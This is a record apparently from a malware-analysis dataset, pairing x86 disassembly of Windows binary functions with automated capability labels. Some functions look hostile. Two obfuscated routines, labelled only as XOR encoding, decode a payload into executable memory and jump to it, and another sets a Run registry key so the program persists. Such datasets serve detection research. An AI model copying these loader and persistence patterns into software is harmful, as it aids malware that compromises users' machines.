joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003d345
Capabilities:
Encode data using xor
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [eax]
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
push edi
push 0x3f
mov dword [ebp - 4], eax
add edx, 8
mov dword [ebp - 8], 8
pop ecx
ror eax, 4
xor eax, dword [edx - 8]
mov edi, eax
shr edi, 0x18
and edi, ecx
mov edi, dword [edi*4 + 0x10048a98]
mov ebx, eax
shr ebx, 0x10
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048c98]
mov ebx, eax
shr ebx, 8
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048e98]
and eax, ecx
xor edi, dword [eax*4 + 0x10049098]
mov eax, dword [edx - 4]
xor eax, dword [ebp - 4]
xor esi, edi
mov edi, eax
shr edi, 0x18
and edi, ecx
mov edi, dword [edi*4 + 0x10048b98]
mov ebx, eax
shr ebx, 0x10
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048d98]
mov ebx, eax
shr ebx, 8
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048f98]
and eax, ecx
xor edi, dword [eax*4 + 0x10049198]
xor esi, edi
mov eax, esi
ror eax, 4
xor eax, dword [edx]
add edx, 0x10
mov edi, eax
shr edi, 0x18
and edi, ecx
mov edi, dword [edi*4 + 0x10048a98]
mov ebx, eax
shr ebx, 0x10
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048c98]
mov ebx, eax
shr ebx, 8
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048e98]
and eax, ecx
xor edi, dword [eax*4 + 0x10049098]
mov eax, dword [edx - 0xc]
xor dword [ebp - 4], edi
xor eax, esi
mov edi, eax
shr edi, 0x18
mov ebx, eax
and edi, ecx
mov edi, dword [edi*4 + 0x10048b98]
shr ebx, 0x10
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048d98]
mov ebx, eax
shr ebx, 8
and ebx, ecx
xor edi, dword [ebx*4 + 0x10048f98]
and eax, ecx
xor edi, dword [eax*4 + 0x10049198]
mov eax, dword [ebp - 4]
xor eax, edi
dec dword [ebp - 8]
mov dword [ebp - 4], eax
jne 0x1003d367
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
mov ecx, dword [ebp + 0xc]
pop edi
pop esi
mov dword [ecx], eax
pop ebx
leave
ret
Function at 0x1003f858
Capabilities:
Hash data using sha256

Disassembly:
mov ecx, dword [esi + 4]
mov eax, dword [esi]
lea edx, [eax + ecx]
cmp edx, ecx
push ebx
push edi
lea edi, [esi + 0x50]
mov dword [esi + 4], edx
jae 0x1003f86f
inc dword [esi + 8]
mov ebx, 0x80
mov byte [eax + edi], bl
inc dword [esi]
mov eax, dword [esi]
cmp eax, 0x70
jbe 0x1003f8a9
mov ecx, ebx
sub ecx, eax
push ecx
add eax, edi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
mov eax, ebx
mov edx, edi
mov dword [esi], ebx
call fcn.1003d63a
pop ecx
push esi
call fcn.1003d71e
and dword [esi], 0
pop ecx
mov eax, dword [esi]
push 0x70
pop ecx
sub ecx, eax
push ecx
xor ebx, ebx
add eax, edi
push ebx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [esi + 4]
mov edx, dword [esi + 8]
add esp, 0xc
mov ecx, eax
shl eax, 3
push edi
shr ecx, 0x1d
lea ecx, [ecx + edx*8]
mov dword [esi + 4], eax
push 0x70
pop eax
mov edx, edi
mov dword [esi + 8], ecx
call fcn.1003d63a
mov eax, dword [esi + 8]
pop ecx
mov dword [esi + 0xc0], eax
mov eax, dword [esi + 4]
push esi
mov dword [esi + 0xc4], ebx
mov dword [esi + 0xc8], eax
mov dword [esi + 0xcc], ebx
call fcn.1003d71e
pop ecx
lea edi, [esi + 0x10]
push edi
push 0x40
pop eax
mov edx, edi
call fcn.1003d63a
pop ecx
push 0x40
push edi
push dword [esp + 0x14]
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov eax, esi
pop edi
pop ebx
jmp fcn.1003d6a3

Function at 0x1003f92e
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push edi
push 0xf0000000
push 1
xor edi, edi
push edi
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1003f953
push 0xffffffffffffff99
pop edi
jmp 0x1003f995
lea eax, [ebp - 0x20]
push eax
push 0x20
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x1003f969
push 0xffffffffffffff98
jmp 0x1003f950
push edi
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea eax, [ebp - 0x20]
push 0x20
push eax
lea eax, [esi + 4]
call fcn.1003a9c2
push 0x100
lea eax, [ebp - 0x120]
push eax
push esi
call fcn.1003f99a
add esp, 0x14
mov eax, edi
pop edi
leave
ret
Function at 0x1003f9c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
lea edx, [eax + 0x20]
mov esi, edx
push 8
pop ebx
mov ecx, ebx
lea edi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [eax + 0x40]
mov esi, 0x4d34d34d
add ecx, esi
add dword [edx], ecx
mov edx, dword [edx]
cmp edx, dword [ebp - 0x2c]
mov ecx, 0x2cb2cb2d
sbb edx, edx
neg edx
sub edx, ecx
add dword [eax + 0x24], edx
mov edx, dword [eax + 0x24]
cmp edx, dword [ebp - 0x28]
mov edx, 0x34d34d34
sbb edi, edi
neg edi
add edi, edx
add dword [eax + 0x28], edi
mov edi, dword [eax + 0x28]
cmp edi, dword [ebp - 0x24]
mov dword [ebp - 0xc], ebx
sbb edi, edi
neg edi
add edi, esi
add dword [eax + 0x2c], edi
mov edi, dword [eax + 0x2c]
cmp edi, dword [ebp - 0x20]
sbb edi, edi
neg edi
sub edi, ecx
add dword [eax + 0x30], edi
mov edi, dword [eax + 0x30]
cmp edi, dword [ebp - 0x1c]
sbb edi, edi
neg edi
add edi, edx
add dword [eax + 0x34], edi
mov edx, dword [eax + 0x34]
cmp edx, dword [ebp - 0x18]
sbb edx, edx
neg edx
add edx, esi
add dword [eax + 0x38], edx
mov edx, dword [eax + 0x38]
cmp edx, dword [ebp - 0x14]
mov esi, eax
sbb edx, edx
neg edx
sub edx, ecx
add dword [eax + 0x3c], edx
mov ecx, dword [eax + 0x3c]
cmp ecx, dword [ebp - 0x10]
mov dword [ebp - 8], esi
sbb ecx, ecx
neg ecx
mov dword [eax + 0x40], ecx
lea ecx, [ebp - 0x2c]
sub ecx, eax
mov edx, dword [esi + 0x20]
add edx, dword [esi]
movzx edi, dx
mov esi, edx
shr esi, 0x10
mov dword [ebp - 4], esi
imul esi, edi
mov ebx, edi
imul ebx, edi
shr ebx, 0x11
add ebx, esi
mov esi, dword [ebp - 4]
imul esi, esi
shr ebx, 0xf
add ebx, esi
mov esi, edx
imul esi, edx
xor ebx, esi
mov esi, dword [ebp - 8]
mov dword [ecx + esi], ebx
add esi, 4
dec dword [ebp - 0xc]
mov dword [ebp - 8], esi
jne 0x1003fa73
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
mov esi, ecx
rol esi, 0x10
add esi, edx
rol edi, 0x10
add edi, esi
mov esi, edx
rol esi, 8
add esi, dword [ebp - 0x28]
mov dword [eax], edi
add esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x28]
rol edi, 0x10
mov dword [eax + 4], esi
mov esi, dword [ebp - 0x24]
add edi, esi
rol edx, 0x10
add edx, edi
mov edi, dword [ebp - 0x20]
mov dword [eax + 8], edx
mov edx, esi
rol edx, 8
add edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x28]
rol edi, 0x10
rol esi, 0x10
mov dword [eax + 0xc], edx
mov edx, dword [ebp - 0x1c]
add edi, edx
add esi, edi
mov dword [eax + 0x10], esi
mov esi, edx
rol esi, 8
add esi, dword [ebp - 0x18]
pop edi
add esi, dword [ebp - 0x20]
mov dword [eax + 0x14], esi
mov esi, dword [ebp - 0x18]
rol esi, 0x10
add esi, ecx
rol edx, 0x10
add edx, esi
rol ecx, 8
add ecx, dword [ebp - 0x18]
pop esi
add ecx, dword [ebp - 0x10]
mov dword [eax + 0x18], edx
mov dword [eax + 0x1c], ecx
pop ebx
leave
ret
Function at 0x1003fbc3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
push ebx
push edi
mov edi, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov dword [esi + 0x18], eax
shl eax, 0x10
mov ebx, edi
shr ebx, 0x10
or eax, ebx
mov dword [esi + 4], eax
mov eax, dword [ebp - 4]
shr eax, 0x10
mov ebx, ecx
shl ebx, 0x10
or eax, ebx
mov dword [esi + 0xc], eax
mov eax, edx
shl eax, 0x10
mov ebx, ecx
shr ebx, 0x10
or eax, ebx
mov dword [esi + 0x14], eax
mov ebx, edx
shr ebx, 0x10
mov eax, edi
shl eax, 0x10
or eax, ebx
mov dword [esi + 0x1c], eax
mov eax, edi
rol eax, 0x10
mov dword [esi + 0x20], eax
mov eax, dword [ebp - 4]
rol eax, 0x10
mov dword [esi + 0x28], eax
mov eax, ecx
rol eax, 0x10
mov ebx, edx
mov dword [esi + 0x30], eax
mov eax, edx
xor ebx, ecx
rol eax, 0x10
mov dword [esi + 0x38], eax
mov eax, 0xffff
and ebx, eax
xor ebx, ecx
mov dword [esi + 0x24], ebx
mov dword [esi + 8], edx
mov ebx, edi
xor ebx, edx
and ebx, eax
xor ebx, edx
mov edx, dword [ebp - 4]
xor edx, edi
and edx, eax
xor edx, edi
mov dword [esi + 0x34], edx
mov edx, dword [ebp - 4]
xor edx, ecx
and edx, eax
xor edx, dword [ebp - 4]
and dword [esi + 0x40], 0
push 4
mov dword [esi + 0x10], edi
mov dword [esi], ecx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x3c], edx
pop edi
mov eax, esi
call fcn.1003f9c3
dec edi
jne 0x1003fc79
pop edi
xor ecx, ecx
lea eax, [esi + 0x20]
pop ebx
lea edx, [ecx - 4]
and edx, 7
mov edx, dword [esi + edx*4]
xor dword [eax], edx
inc ecx
add eax, 4
cmp ecx, 8
jb 0x1003fc8a
push 8
lea eax, [esi + 0x20]
pop ecx
mov edx, dword [eax - 0x20]
mov dword [eax + 0x24], edx
mov edx, dword [eax]
mov dword [eax + 0x44], edx
add eax, 4
dec ecx
jne 0x1003fca4
mov eax, dword [esi + 0x40]
mov dword [esi + 0x84], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x1003fccc
mov edx, esi
call fcn.1003fb3b
leave
ret
Function at 0x1003fcce
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0x10
push ebx
push esi
push edi
mov ebx, eax
mov esi, ecx
jb 0x1003fd58
mov ecx, dword [ebp + 0xc]
shr ecx, 4
lea eax, [esi + 0x44]
mov dword [ebp - 4], ecx
call fcn.1003f9c3
movzx edx, word [esi + 0x5a]
mov ecx, dword [esi + 0x50]
shl ecx, 0x10
xor edx, ecx
xor edx, dword [eax]
mov ecx, dword [ebp + 8]
xor edx, dword [ebx]
sub dword [ebp + 0xc], 0x10
mov dword [ecx], edx
movzx edx, word [esi + 0x62]
mov edi, dword [esi + 0x58]
shl edi, 0x10
xor edx, edi
xor edx, dword [ebx + 4]
add ecx, 0x10
xor edx, dword [esi + 0x4c]
add ebx, 0x10
mov dword [ecx - 0xc], edx
movzx edx, word [esi + 0x4a]
mov edi, dword [esi + 0x60]
shl edi, 0x10
xor edx, edi
xor edx, dword [ebx - 8]
mov dword [ebp + 8], ecx
xor edx, dword [esi + 0x54]
mov dword [ecx - 8], edx
movzx edx, word [esi + 0x52]
mov edi, dword [esi + 0x48]
shl edi, 0x10
xor edx, edi
xor edx, dword [ebx - 4]
xor edx, dword [esi + 0x5c]
dec dword [ebp - 4]
mov dword [ecx - 4], edx
jne 0x1003fced
cmp dword [ebp + 0xc], 0
je 0x1003fdd7
lea eax, [esi + 0x44]
call fcn.1003f9c3
mov ecx, dword [esi + 0x58]
mov edx, dword [esi + 0x50]
mov edi, ecx
mov eax, edx
shl eax, 0x10
shr edi, 0x10
xor eax, edi
xor eax, dword [esi + 0x44]
mov edi, dword [esi + 0x60]
mov dword [ebp - 0x14], eax
shl ecx, 0x10
mov eax, edi
shr eax, 0x10
xor eax, ecx
xor eax, dword [esi + 0x4c]
shl edi, 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [esi + 0x48]
mov ecx, eax
shr ecx, 0x10
xor ecx, edi
xor ecx, dword [esi + 0x54]
shl eax, 0x10
shr edx, 0x10
xor eax, edx
xor eax, dword [esi + 0x5c]
mov dword [ebp - 0xc], ecx
xor ecx, ecx
cmp dword [ebp + 0xc], ecx
mov dword [ebp - 8], eax
jbe 0x1003fdd7
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14]
mov esi, ebx
sub esi, eax
sub edi, eax
lea eax, [ebp + ecx - 0x14]
mov dl, byte [esi + eax]
xor dl, byte [eax]
inc ecx
cmp ecx, dword [ebp + 0xc]
mov byte [edi + eax], dl
jb 0x1003fdc5
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10043346
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1005ac70]
jne 0x10043350
repz ret
jmp fcn.1004358e
Function at 0x1001da89
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x18
mov eax, dword [0x1002c00c]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x14], edi
lea eax, [edi + 0x2d58]
push eax
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
xor esi, esi
push esi
mov dword [edi + 0x2d4c], esi
call dword [sym.imp.USER32.dll_GetDC]
mov ebp, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 0x26
push ebx
mov dword [esp + 0x18], ebx
call ebp
xor ecx, ecx
shr eax, 8
inc ecx
and eax, ecx
cmp dword [sym.imp.USER32.dll_UpdateLayeredWindow], esi
je 0x1001daea
test eax, eax
jne 0x1001daea
mov dword [edi + 0x2d4c], ecx
mov dword [edi + 0x2894], 4
cmp dword [edi + 0x2d4c], esi
je 0x1001db28
push 0xff000000
push 0xff
push 0xff00
push 0xff0000
push edi
call fcn.1001dc93
mov dword [edi + 0x34], 1
mov dword [edi + 0x2898], esi
jmp 0x1001dbd6
mov dword [edi + 0x2898], ecx
test eax, eax
je 0x1001dbbc
push 0x6a
push ebx
call ebp
push 0x68
push ebx
mov esi, eax
call ebp
mov ebx, eax
sub ebx, esi
xor esi, esi
push esi
push esi
push esi
push esi
push edi
call fcn.1001dc93
add esp, 0x14
mov eax, esi
test ebx, ebx
jle 0x1001db6b
lea ecx, [edi + 0x2934]
mov dword [ecx], eax
inc eax
lea ecx, [ecx + 4]
cmp eax, ebx
jl 0x1001db61
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.1001bf02
lea esi, [edi + 0x2934]
mov ebp, eax
push esi
lea ebx, [edi + 0x44]
add edi, 0x2494
push ebx
lea eax, [esp + 0x28]
push edi
push eax
call fcn.1001ba6e
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov dword [eax + 0x40], esi
xor esi, esi
mov dword [eax + 0x38], ebx
mov ebx, dword [esp + 0x10]
mov dword [eax + 0x20], 1
mov dword [eax + 0x2c], edi
mov dword [eax + 0x3c], ebp
mov dword [eax + 0x2d54], esi
jmp 0x1001dbd9
push 0xff000000
push 0xff
push 0xff00
push 0xff0000
push edi
call fcn.1001dc93
add esp, 0x14
push ebx
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
push str.JAVA2D_DPIAWARE
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
pop ecx
pop edi
pop esi
pop ebp
pop ebx
test eax, eax
jne 0x1001dc0d
call fcn.1001dc93
movss xmm0, dword [0x10027834]
fstp dword [esp]
comiss xmm0, dword [esp]
ja 0x1001dc1f
jmp 0x1001dc40
push eax
push str.true
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
jne 0x1001dc40
push str.user32.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x1001dc40
push str.SetProcessDPIAware
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x1001dc40
call eax
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10020582
add esp, 0x18
ret
Function at 0x1001dc93
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1001dca2
pop dword [ebp - 0x40]
mov eax, 0xacc37344
add eax, 0x633e695e
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x881a6e05
add dword [ebp - 0x50], 0xc637d746
mov dword [ebp - 0x4c], 0x987db7e1
add dword [ebp - 0x4c], 0x99b59464
mov dword [ebp - 0x48], 0xf7b7da0d
add dword [ebp - 0x48], 0x54946a21
mov dword [ebp - 0x44], 0x91d15fd7
sub dword [ebp - 0x44], 0x91d15fd7
lea eax, [ebp - 0x50]
push eax
mov eax, 0x7a6144b5
add eax, 0x95a0db8f
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x8030efa5
sub dword [ebp - 0x50], 0xbbe864f
mov dword [ebp - 0x4c], 0x1a1d7234
sub dword [ebp - 0x4c], 0xd8b110bf
mov dword [ebp - 0x48], 0x7ffce9c1
sub dword [ebp - 0x48], 0x1c8d7d55
mov dword [ebp - 0x44], 0x118c7f5e
sub dword [ebp - 0x44], 0x118c7f5e
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x38e20
push 0
call eax
mov ecx, 0x3f79836d
add ecx, 0xc086c798
mov ebx, eax
mov esi, 0x38c74c80
sub esi, 0x28c43080
add esi, dword [ebp - 0x40]
mov edx, 0x6ad6edcc
add dword [ebp - 0x2c], esi
mov edi, dword [esi]
xor dword [ebp - 0x34], ecx
sub edi, edx
xor dword [ebp - 0x1c], 0x981399b
mov dword [ebx], edi
mov dword [ebp - 0x28], 0x67886dd2
add ebx, 0xb5265183
sub ebx, 0xb526517f
add esi, 4
loop 0x1001ddb9
add eax, 0xa0514340
sub eax, 0xa0502459
xor ebx, ebx
add ebx, eax
add eax, 0x1d849b9e
sub eax, 0x1d849b99
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret

Function at 0x1001deb6
Capabilities:
Hide graphical window

Disassembly:
push edi
mov edi, dword [esp + 8]
push 0
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [edi + 0x289c]
cdq
sub eax, edx
sar eax, 1
push 1
mov dword [edi + 0x292c], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
sub eax, dword [edi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [edi + 0x2930], eax
mov eax, dword [edi + 0x2d50]
test eax, eax
je 0x1001df26
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [edi + 0x28a0]
push dword [edi + 0x289c]
push dword [edi + 0x2930]
push dword [edi + 0x292c]
push dword [edi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push edi
call fcn.1001df2f
pop ecx
pop edi
ret
Function at 0x1001da89
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x18
mov eax, dword [0x1002c00c]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
mov dword [esp + 0x14], edi
lea eax, [edi + 0x2d58]
push eax
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
xor esi, esi
push esi
mov dword [edi + 0x2d4c], esi
call dword [sym.imp.USER32.dll_GetDC]
mov ebp, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov ebx, eax
push 0x26
push ebx
mov dword [esp + 0x18], ebx
call ebp
xor ecx, ecx
shr eax, 8
inc ecx
and eax, ecx
cmp dword [sym.imp.USER32.dll_UpdateLayeredWindow], esi
je 0x1001daea
test eax, eax
jne 0x1001daea
mov dword [edi + 0x2d4c], ecx
mov dword [edi + 0x2894], 4
cmp dword [edi + 0x2d4c], esi
je 0x1001db28
push 0xff000000
push 0xff
push 0xff00
push 0xff0000
push edi
call fcn.10020313
mov dword [edi + 0x34], 1
mov dword [edi + 0x2898], esi
jmp 0x1001dbd6
mov dword [edi + 0x2898], ecx
test eax, eax
je 0x1001dbbc
push 0x6a
push ebx
call ebp
push 0x68
push ebx
mov esi, eax
call ebp
mov ebx, eax
sub ebx, esi
xor esi, esi
push esi
push esi
push esi
push esi
push edi
call fcn.10020313
add esp, 0x14
mov eax, esi
test ebx, ebx
jle 0x1001db6b
lea ecx, [edi + 0x2934]
mov dword [ecx], eax
inc eax
lea ecx, [ecx + 4]
cmp eax, ebx
jl 0x1001db61
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.1001bf02
lea esi, [edi + 0x2934]
mov ebp, eax
push esi
lea ebx, [edi + 0x44]
add edi, 0x2494
push ebx
lea eax, [esp + 0x28]
push edi
push eax
call fcn.1001ba6e
mov eax, dword [esp + 0x2c]
add esp, 0x18
mov dword [eax + 0x40], esi
xor esi, esi
mov dword [eax + 0x38], ebx
mov ebx, dword [esp + 0x10]
mov dword [eax + 0x20], 1
mov dword [eax + 0x2c], edi
mov dword [eax + 0x3c], ebp
mov dword [eax + 0x2d54], esi
jmp 0x1001dbd9
push 0xff000000
push 0xff
push 0xff00
push 0xff0000
push edi
call fcn.10020313
add esp, 0x14
push ebx
push esi
call dword [sym.imp.USER32.dll_ReleaseDC]
push str.JAVA2D_DPIAWARE
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
pop ecx
pop edi
pop esi
pop ebp
pop ebx
test eax, eax
jne 0x1001dc0d
call fcn.10020313
movss xmm0, dword [0x10027834]
fstp dword [esp]
comiss xmm0, dword [esp]
ja 0x1001dc1f
jmp 0x1001dc40
push eax
push str.true
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
pop ecx
pop ecx
test eax, eax
jne 0x1001dc40
push str.user32.dll
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
test eax, eax
je 0x1001dc40
push str.SetProcessDPIAware
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x1001dc40
call eax
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.10020582
add esp, 0x18
ret
Function at 0x10020313
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x10020322
pop dword [ebp - 0x44]
mov eax, 0x74bf8f95
add eax, 0x9b42738d
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3d5d869
add dword [ebp - 0x54], 0x4a7c6ce2
mov dword [ebp - 0x50], 0xd9898458
add dword [ebp - 0x50], 0x58a9c7ed
mov dword [ebp - 0x4c], 0xb040c8d3
add dword [ebp - 0x4c], 0x9c0b7b5b
mov dword [ebp - 0x48], 0xd698d79b
sub dword [ebp - 0x48], 0xd698d79b
lea eax, [ebp - 0x54]
push eax
mov eax, 0x1c220b24
add eax, 0xf3e01520
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x3e0331fb
add dword [ebp - 0x54], 0x366f375b
mov dword [ebp - 0x50], 0x6b1fa8f3
add dword [ebp - 0x50], 0xd64cb882
mov dword [ebp - 0x4c], 0x3a164e4b
add dword [ebp - 0x4c], 0x29591e21
mov dword [ebp - 0x48], 0xc1340ad6
add dword [ebp - 0x48], 0x3ecbf52a
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x38a80
push 0
call eax
mov ecx, 0x49f4
mov edi, eax
mov esi, 0x4d424af
add esi, 0xb2ef751
add esi, dword [ebp - 0x44]
mov ebx, 0xc9664e69
sub dword [ebp - 0x1c], eax
mov edx, dword [esi]
xor edx, ebx
xor dword [ebp - 0xc], esi
mov dword [edi], edx
mov dword [ebp - 0x3c], 0x43524085
add edi, 4
add esi, 0x6727dd85
sub esi, 0x6727dd81
loop 0x10020433
add eax, 0x3a5be60b
sub eax, 0x3a5acb68
mov ebx, eax
add eax, 0x54718a8
add eax, 0xfab8e75d
mov ecx, 0x34dde54d
sub ecx, 0x24dde54d
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x6e3c12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x6e3c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x6e3c1325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x6e3c132c
mov eax, 1
jmp 0x6e3c1331
mov eax, 0
leave
ret

Function at 0x6e3c1333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [ebp - 0x110], 0
lea eax, [ebp - 0x110]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
test eax, eax
je 0x6e3c13ad
mov dword [esp], str.Error:_Cannot_open_the_registry_
call sym._puts
jmp 0x6e3c143a
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._lstrlenA_4
sub esp, 4
add eax, 1
mov edx, eax
mov eax, dword [ebp - 0x110]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x10c]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
test eax, eax
je 0x6e3c141d
mov dword [esp], str.Error:_Cannot_add_the_current_path_to_the_registry_
call sym._puts
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
jmp 0x6e3c143a
mov eax, dword [ebp - 0x110]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
mov dword [esp], str.Success:_Added_to_the_registry_
call sym._puts
leave
ret